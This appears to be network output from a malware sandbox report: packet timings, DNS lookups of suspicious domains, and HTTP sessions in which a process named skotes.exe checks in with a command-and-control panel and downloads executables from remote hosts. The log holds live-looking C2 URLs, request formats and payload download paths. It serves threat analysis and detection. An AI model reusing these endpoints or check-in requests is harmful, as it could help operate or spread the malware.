Dec 18, 2024 11:47:56.549134970 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.549496889 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.549536943 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.549580097 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.549671888 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.550276995 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.550317049 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.550348043 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.550452948 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.551069021 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.551140070 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.551140070 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.551172018 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.551631927 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.551668882 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.551768064 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.551809072 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.552357912 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.552393913 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.552505016 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.552539110 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.553100109 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.553138018 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.553214073 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.553276062 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.553963900 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.554048061 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.554076910 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.554106951 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.554632902 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.554702997 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.554744005 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.554858923 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.555380106 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.555474043 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.555495977 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.555525064 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.556130886 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.556185961 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.556195974 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.556236029 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.556925058 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.556973934 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.557029963 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.557147980 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.557687998 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.557734013 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.557812929 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.557876110 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.558387995 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.558487892 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.558500051 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.558559895 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.559169054 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.559210062 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.559250116 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.559284925 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.559902906 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.559945107 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.560002089 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.560115099 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.560652018 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.560719967 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.560816050 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.561141968 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.561431885 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.561526060 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.561614037 CET	80	49910	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:56.561657906 CET	49910	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:56.562165976 CET	80	49910	31.41.244.11	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 18, 2024 11:47:41.096117020 CET	192.168.2.6	1.1.1.1	0x42b1	Standard query (0)	sweepyribs.lat	A (IP address)	IN (0x0001)	false
Dec 18, 2024 11:47:41.406694889 CET	192.168.2.6	1.1.1.1	0xbf10	Standard query (0)	grannyejh.lat	A (IP address)	IN (0x0001)	false
Dec 18, 2024 11:47:52.534648895 CET	192.168.2.6	1.1.1.1	0xe89e	Standard query (0)	httpbin.org	A (IP address)	IN (0x0001)	false
Dec 18, 2024 11:47:52.534756899 CET	192.168.2.6	1.1.1.1	0x411d	Standard query (0)	httpbin.org	28	IN (0x0001)	false
Dec 18, 2024 11:47:57.042363882 CET	192.168.2.6	1.1.1.1	0x3378	Standard query (0)	home.twentytk20pn.top	A (IP address)	IN (0x0001)	false
Dec 18, 2024 11:47:57.042443037 CET	192.168.2.6	1.1.1.1	0x931	Standard query (0)	home.twentytk20pn.top	28	IN (0x0001)	false
Dec 18, 2024 11:48:00.842936039 CET	192.168.2.6	1.1.1.1	0x3ac9	Standard query (0)	home.twentytk20pn.top	A (IP address)	IN (0x0001)	false
Dec 18, 2024 11:48:00.843048096 CET	192.168.2.6	1.1.1.1	0xd59e	Standard query (0)	home.twentytk20pn.top	28	IN (0x0001)	false
Dec 18, 2024 11:48:01.304750919 CET	192.168.2.6	1.1.1.1	0x4eb4	Standard query (0)	pancakedipyps.click	A (IP address)	IN (0x0001)	false
Dec 18, 2024 11:48:25.116307020 CET	192.168.2.6	1.1.1.1	0xae8d	Standard query (0)	twentytk20pn.top	A (IP address)	IN (0x0001)	false
Dec 18, 2024 11:48:25.116365910 CET	192.168.2.6	1.1.1.1	0x5572	Standard query (0)	twentytk20pn.top	28	IN (0x0001)	false
Dec 18, 2024 11:48:28.653994083 CET	192.168.2.6	1.1.1.1	0xf4e4	Standard query (0)	twentytk20pn.top	A (IP address)	IN (0x0001)	false
Dec 18, 2024 11:48:28.654078007 CET	192.168.2.6	1.1.1.1	0x906b	Standard query (0)	twentytk20pn.top	28	IN (0x0001)	false
Dec 18, 2024 11:48:32.999910116 CET	192.168.2.6	1.1.1.1	0x669c	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Dec 18, 2024 11:48:33.000344992 CET	192.168.2.6	1.1.1.1	0xb5b8	Standard query (0)	www.google.com	65	IN (0x0001)	false
Dec 18, 2024 11:48:36.119143009 CET	192.168.2.6	1.1.1.1	0x233f	Standard query (0)	twentytk20pn.top	A (IP address)	IN (0x0001)	false
Dec 18, 2024 11:48:36.119400978 CET	192.168.2.6	1.1.1.1	0xc5f2	Standard query (0)	twentytk20pn.top	28	IN (0x0001)	false
Dec 18, 2024 11:48:39.037070990 CET	192.168.2.6	1.1.1.1	0xf4db	Standard query (0)	home.twentytk20pn.top	A (IP address)	IN (0x0001)	false
Dec 18, 2024 11:48:39.037116051 CET	192.168.2.6	1.1.1.1	0x8216	Standard query (0)	home.twentytk20pn.top	28	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 18, 2024 11:47:41.397867918 CET	1.1.1.1	192.168.2.6	0x42b1	Name error (3)	sweepyribs.lat	none	none	A (IP address)	IN (0x0001)	false
Dec 18, 2024 11:47:41.717420101 CET	1.1.1.1	192.168.2.6	0xbf10	No error (0)	grannyejh.lat		104.21.64.80	A (IP address)	IN (0x0001)	false
Dec 18, 2024 11:47:41.717420101 CET	1.1.1.1	192.168.2.6	0xbf10	No error (0)	grannyejh.lat		172.67.179.109	A (IP address)	IN (0x0001)	false
Dec 18, 2024 11:47:52.770452023 CET	1.1.1.1	192.168.2.6	0xe89e	No error (0)	httpbin.org		98.85.100.80	A (IP address)	IN (0x0001)	false
Dec 18, 2024 11:47:52.770452023 CET	1.1.1.1	192.168.2.6	0xe89e	No error (0)	httpbin.org		34.226.108.155	A (IP address)	IN (0x0001)	false
Dec 18, 2024 11:47:57.760705948 CET	1.1.1.1	192.168.2.6	0x3378	No error (0)	home.twentytk20pn.top		185.185.71.170	A (IP address)	IN (0x0001)	false
Dec 18, 2024 11:48:00.980875969 CET	1.1.1.1	192.168.2.6	0x3ac9	No error (0)	home.twentytk20pn.top		185.185.71.170	A (IP address)	IN (0x0001)	false
Dec 18, 2024 11:48:01.720529079 CET	1.1.1.1	192.168.2.6	0x4eb4	No error (0)	pancakedipyps.click		172.67.209.202	A (IP address)	IN (0x0001)	false
Dec 18, 2024 11:48:01.720529079 CET	1.1.1.1	192.168.2.6	0x4eb4	No error (0)	pancakedipyps.click		104.21.23.76	A (IP address)	IN (0x0001)	false
Dec 18, 2024 11:48:25.416999102 CET	1.1.1.1	192.168.2.6	0xae8d	No error (0)	twentytk20pn.top		185.185.71.170	A (IP address)	IN (0x0001)	false
Dec 18, 2024 11:48:28.792583942 CET	1.1.1.1	192.168.2.6	0xf4e4	No error (0)	twentytk20pn.top		185.185.71.170	A (IP address)	IN (0x0001)	false
Dec 18, 2024 11:48:33.137098074 CET	1.1.1.1	192.168.2.6	0xb5b8	No error (0)	www.google.com			65	IN (0x0001)	false
Dec 18, 2024 11:48:33.138863087 CET	1.1.1.1	192.168.2.6	0x669c	No error (0)	www.google.com		142.250.181.132	A (IP address)	IN (0x0001)	false
Dec 18, 2024 11:48:36.257026911 CET	1.1.1.1	192.168.2.6	0x233f	No error (0)	twentytk20pn.top		185.185.71.170	A (IP address)	IN (0x0001)	false
Dec 18, 2024 11:48:39.176589966 CET	1.1.1.1	192.168.2.6	0xf4db	No error (0)	home.twentytk20pn.top		185.185.71.170	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49789	185.215.113.43	80	6044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 11:47:05.667301893 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 18, 2024 11:47:06.994314909 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 18 Dec 2024 10:47:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49796	185.215.113.43	80	6044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 11:47:08.629635096 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 33 32 45 37 31 42 38 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B32E71B85182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Dec 18, 2024 11:47:11.859625101 CET	696	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 18 Dec 2024 10:47:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 66 39 0d 0a 20 3c 63 3e 31 30 31 36 38 37 35 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 63 39 36 61 38 30 35 31 34 35 62 30 30 32 61 62 35 65 34 35 34 32 35 31 39 37 64 31 61 61 31 64 61 61 61 38 23 31 30 31 36 38 37 36 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 64 65 37 31 39 62 35 30 35 39 62 62 30 30 61 62 35 65 34 35 34 32 35 31 39 37 64 31 61 61 31 64 61 61 61 38 23 31 30 31 36 38 37 37 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 63 66 37 30 39 36 34 65 30 33 61 63 35 32 65 61 34 38 34 62 34 31 31 62 39 64 63 34 65 31 23 31 30 31 36 38 37 38 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 [TRUNCATED] Data Ascii: 1f9 <c>1016875001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbc96a805145b002ab5e45425197d1aa1daaa8#1016876001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbde719b5059bb00ab5e45425197d1aa1daaa8#1016877001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbcf70964e03ac52ea484b411b9dc4e1#1016878001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbde719b5059bb02ab5e45425197d1aa1daaa8#1016879001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbcd7e864403ac52ea484b411b9dc4e1#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49806	31.41.244.11	80	6044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 11:47:12.063829899 CET	62	OUT	GET /files/burpin1/random.exe HTTP/1.1 Host: 31.41.244.11
Dec 18, 2024 11:47:13.770374060 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 18 Dec 2024 10:47:13 GMT Content-Type: application/octet-stream Content-Length: 4438776 Last-Modified: Tue, 10 Dec 2024 00:01:52 GMT Connection: keep-alive ETag: "675784f0-43baf8" Accept-Ranges: bytes Data Raw: 4d 5a 60 00 01 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 52 65 71 75 69 72 65 20 57 69 6e 64 6f 77 73 0d 0a 24 50 45 00 00 4c 01 04 00 ce 3f c3 4f 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 08 00 00 90 01 00 00 96 00 00 00 00 00 00 5f 94 01 00 00 10 00 00 00 a0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 80 02 00 00 02 00 00 e7 a4 44 00 02 00 00 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 84 c9 01 00 c8 00 00 00 00 30 02 00 10 4f 00 00 00 00 00 00 00 00 00 00 10 7b 43 00 e8 3f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 01 00 6c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ`@`!L!Require Windows$PEL?O_@D0O{C?l.text `.rdata;<@@.dataM@.rsrcO0P@@U`AS3;VWtf9bAt`APPPYnj'@uv=A6PP9^]v8^3hAPPPxAEE;FrP~Y6jtAt$DV%sAF8^jqA39`At@9D$tt$Ph5XAA3D$`\|$u@3pAt$D$t$`A/@t$PQ%`A3T$L$fAABBfuL$3f9t@f<Aut$TAL$%S\$VC;^tLW3
Dec 18, 2024 11:47:13.770423889 CET	1236	IN	Data Raw: c9 6a 02 5a 8b c3 f7 e2 0f 90 c1 f7 d9 0b c8 51 e8 94 80 01 00 8b f8 33 c0 39 46 08 59 7e 1d 39 46 04 7e 10 8b 0e 66 8b 0c 41 66 89 0c 47 40 3b 46 04 7c f0 ff 36 e8 68 80 01 00 59 8b 46 04 89 3e 66 83 24 47 00 89 5e 08 5f 5e 5b c2 04 00 56 8b f1 Data Ascii: jZQ39FY~9F~fAfG@;F\|6hYF>f$G^_^[Vv\IY^oUQQAuVjjEP5A\|At>E;Ew6rE;Es,jPYYtlAj@ AEPjh5XAA3D$tlA
Dec 18, 2024 11:47:13.770458937 CET	1236	IN	Data Raw: 3b f3 74 06 8b 06 56 ff 50 08 33 c0 40 eb 25 e8 a7 fe ff ff 8d 4d e0 8b f8 e8 bb 0e 01 00 8b 06 56 ff 50 08 8b c7 eb 0c 3b f3 74 06 8b 06 56 ff 50 08 33 c0 5e 5f 5b c9 c3 56 8b f1 c7 46 04 60 c3 41 00 83 66 08 00 c7 06 34 a5 41 00 c7 46 04 24 a5 Data Ascii: ;tVP3@%MVP;tVP3^_[VF`Af4AF$AfNf$N(^Uh$AuYYtEP#UPQ3hAudYYu@]Vv({F$YtPQvzvYtVP^l$
Dec 18, 2024 11:47:13.770659924 CET	672	IN	Data Raw: 7d c4 0f 84 d0 02 00 00 66 83 7d c4 08 0f 85 c5 02 00 00 ff 75 cc 8d 4d f0 e8 76 f8 ff ff 8d 45 f0 50 8d 46 10 50 8d 45 e4 50 8d 5e 28 e8 1f fc ff ff 83 c4 0c 50 8b cb e8 90 f8 ff ff ff 75 e4 e8 b6 76 01 00 39 7d 14 59 0f 85 6f 02 00 00 8b 46 0c Data Ascii: }f}uMvEPFPEP^(Puv9}YoFURjuf}f}PQ;EtMu{v}Y^f9}u~@-f}t jeVPMXuFvY,EF@FURjuPQ;Eu3f9}URjuF<F
Dec 18, 2024 11:47:13.770677090 CET	1236	IN	Data Raw: 8b 45 10 89 38 e9 fb fd ff ff 8b 3e ff 15 98 a1 41 00 50 6a 69 56 ff 57 20 e9 e5 fd ff ff 8b 45 10 89 38 ff 75 f0 e8 30 74 01 00 59 8d 4d c4 e8 31 07 01 00 33 c0 eb 1d 8b 06 6a 64 56 ff 50 1c ff 75 f0 8b f0 e8 11 74 01 00 59 8d 4d c4 e8 12 07 01 Data Ascii: E8>APjiVW E8u0tYM13jdVPutYM^_[Vjt$Au0A;tPA3^t$AtuV3@^<uA< t<tt<t33@UQEjEEPjEPjEEAPA
Dec 18, 2024 11:47:13.770690918 CET	224	IN	Data Raw: 75 08 ff 15 9c a2 41 00 85 c0 0f 84 2d 01 00 00 68 f8 a5 41 00 8d 45 98 50 ff 15 48 a1 41 00 85 c0 0f 85 16 01 00 00 6a f0 ff 75 08 ff 15 7c a2 41 00 a8 0e 0f 84 03 01 00 00 8d 45 f8 50 ff 75 08 ff 15 80 a2 41 00 0f b7 c0 50 68 f0 a5 41 00 e8 87 Data Ascii: uA-hAEPHAju\|AEPuAPhA3;}uj@LAuSWRoVdAEPVW\A9uEPh4AVVuPAEPQWPAE;tfURu
Dec 18, 2024 11:47:13.771532059 CET	1236	IN	Data Raw: 50 ff 51 0c 39 75 fc 74 3f ff 75 fc e8 d4 fd ff ff 59 8d 4d d8 51 6a 18 50 89 45 fc ff 15 40 a0 41 00 6a 06 ff 75 e0 ff 75 dc 56 56 56 ff 75 08 ff 15 84 a2 41 00 ff 75 fc 56 68 72 01 00 00 ff 75 08 ff 15 b8 a2 41 00 8b 45 f0 8b 08 50 ff 51 08 33 Data Ascii: PQ9ut?uYMQjPE@AjuuVVVuAuVhruAEPQ3@WPA3_^[f=AuD<AfAAfft@Af=uDAA;ufAAUSV339AtAM9tFA9u9
Dec 18, 2024 11:47:13.771578074 CET	1236	IN	Data Raw: 5b c2 04 00 8b 01 8b 51 04 8b 4c 24 08 2b d1 8d 54 12 02 8d 0c 48 52 51 8b 4c 24 0c 8d 04 48 50 ff 15 3c a2 41 00 83 c4 0c c2 08 00 53 56 57 eb 3b 8b 02 8b 39 8a 1c 07 8a c3 e8 db f5 ff ff 84 c0 75 27 80 fb 3b 75 2d 3b fe 7d 12 8b 01 8b 32 80 3c Data Ascii: [QL$+THRQL$HP<ASVW;9u';u-;}2<0t@;B\|2_^[Ar91\|S\$VWu33\|$Gt$P$AtF;w\|3_^[t3GVt$W39~~(Ft$P$AujWPOG;~
Dec 18, 2024 11:47:13.771591902 CET	448	IN	Data Raw: 37 00 89 75 f4 e8 ec fd ff ff 57 e8 ef 64 01 00 59 5f 8b 45 08 5e 5b c9 c2 0c 00 53 56 8b 74 24 0c 57 8b f9 8b 47 04 39 06 7e 02 89 06 8b 5c 24 14 53 e8 d0 e6 ff ff 8b 06 50 03 c3 50 8b cf e8 ec fa ff ff 5f 5e 5b c2 08 00 8b 44 24 08 ff 30 8b 44 Data Ascii: 7uWdY_E^[SVt$WG9~\$SPP_^[D$0D$0YY@W\|$D$xt.SVpFPVPVSjt$,8Af$A^G[_USVuE39Xt2WxS?ESAPQNPWuSuA
Dec 18, 2024 11:47:13.771859884 CET	1236	IN	Data Raw: 89 5d f0 eb 03 8b 7d 08 8b 07 8d 4d e4 51 b9 00 10 00 00 2b ce 51 8d 8c 35 e0 ef ff ff 51 57 ff 50 0c 85 c0 0f 85 ca 00 00 00 8b 45 e4 3b c3 0f 84 bf 00 00 00 03 f0 8d 85 e0 ef ff ff 33 ff 89 45 f8 38 5d ff 8b c6 74 3d 2b 45 e8 3b f8 77 60 ff 75 Data Ascii: ]}MQ+Q5QWPE;3E8]t=+E;w`uuubE:EtuMvGE+E;w#uuubuEEE+}V=]PP<A9]w}"M39Y
Dec 18, 2024 11:47:13.890094042 CET	1236	IN	Data Raw: 01 50 50 8b cf e8 97 f6 ff ff 50 ff 74 24 18 ff 15 c4 a2 41 00 8b 07 66 83 24 70 00 89 77 04 8b c7 5f 5e c3 55 8b ec 83 ec 74 53 56 8b 75 08 57 6a 40 8d 45 8c 50 56 ff 15 9c a2 41 00 85 c0 74 49 68 f8 a5 41 00 8d 45 8c 50 ff 15 48 a1 41 00 85 c0 Data Ascii: PPPt$Af$pw_^UtSVuWj@EPVAtIhAEPHAu6jV\|Au)EVPvjhAutu]Y3_^[VA3;EthAhAEPVYYVAhAE+ESSWuPE+EPuuhPhAh

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49833	185.215.113.43	80	6044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 11:47:23.586057901 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 36 38 37 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1016875001&unit=246122658369
Dec 18, 2024 11:47:25.561048031 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 18 Dec 2024 10:47:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49837	31.41.244.11	80	6044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 11:47:25.715697050 CET	62	OUT	GET /files/unique3/random.exe HTTP/1.1 Host: 31.41.244.11
Dec 18, 2024 11:47:27.141222000 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 18 Dec 2024 10:47:26 GMT Content-Type: application/octet-stream Content-Length: 1960448 Last-Modified: Wed, 18 Dec 2024 10:37:12 GMT Connection: keep-alive ETag: "6762a5d8-1dea00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 cd d8 9a 7a 89 b9 f4 29 89 b9 f4 29 89 b9 f4 29 c2 c1 f7 28 82 b9 f4 29 c2 c1 f1 28 06 b9 f4 29 c2 c1 f0 28 9d b9 f4 29 9c c6 f1 28 af b9 f4 29 9c c6 f0 28 98 b9 f4 29 9c c6 f7 28 9d b9 f4 29 c2 c1 f5 28 8a b9 f4 29 89 b9 f5 29 da b9 f4 29 89 b9 f4 29 8b b9 f4 29 b3 39 f0 28 8a b9 f4 29 b3 39 0b 29 88 b9 f4 29 b3 39 f6 28 88 b9 f4 29 52 69 63 68 89 b9 f4 29 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 5f 7b 5f 64 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 25 00 7c 03 00 00 5e 03 00 00 00 01 00 00 d0 4a 00 00 10 00 00 00 90 03 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$z)))()()()()()()()))))9()9))9()Rich)PEL_{_d%\|^J@K\|@Vjl <@.rsrclL@.idata T@ `)V@ocizazujpP1lX@tmlfxogwJ@.taggant0J"@
Dec 18, 2024 11:47:27.141249895 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 18, 2024 11:47:27.141292095 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
